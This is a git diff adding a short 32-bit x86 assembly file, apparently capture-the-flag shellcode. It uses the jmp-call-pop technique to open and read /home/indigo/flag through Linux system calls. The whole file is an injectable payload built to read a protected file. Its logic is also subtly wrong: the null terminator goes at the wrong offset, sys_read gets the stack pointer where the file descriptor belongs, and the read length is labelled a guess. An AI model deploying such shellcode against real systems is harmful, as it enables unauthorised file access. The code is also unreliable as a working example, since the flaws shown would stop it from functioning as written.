diff options
Diffstat (limited to 'fread.asm')
-rw-r--r-- | fread.asm | 26 |
1 files changed, 26 insertions, 0 deletions
diff --git a/fread.asm b/fread.asm new file mode 100644 index 0000000..358cc93 --- /dev/null +++ b/fread.asm @@ -0,0 +1,26 @@ +global _start +_start: +jmp short data +str_found: +xor eax, eax +mov al, 5 ;sys_open + +xor ecx, ecx ; arg2 +xor edx, edx ; #/usr/include/asm-generic/fcntl.h includes define O_RDONLY 00000000 + +pop ebx +mov [ebx + 18], ecx ; arg1 +int 0x80 + +;eax now contains our file descriptor. + +mov al, 3 ;sys_read +mov ebx, esp ;I think? +mov cl, 0xff ;eh, random guess I guess +int 0x80 + + +data: +call str_found +db "/home/indigo/flag" + |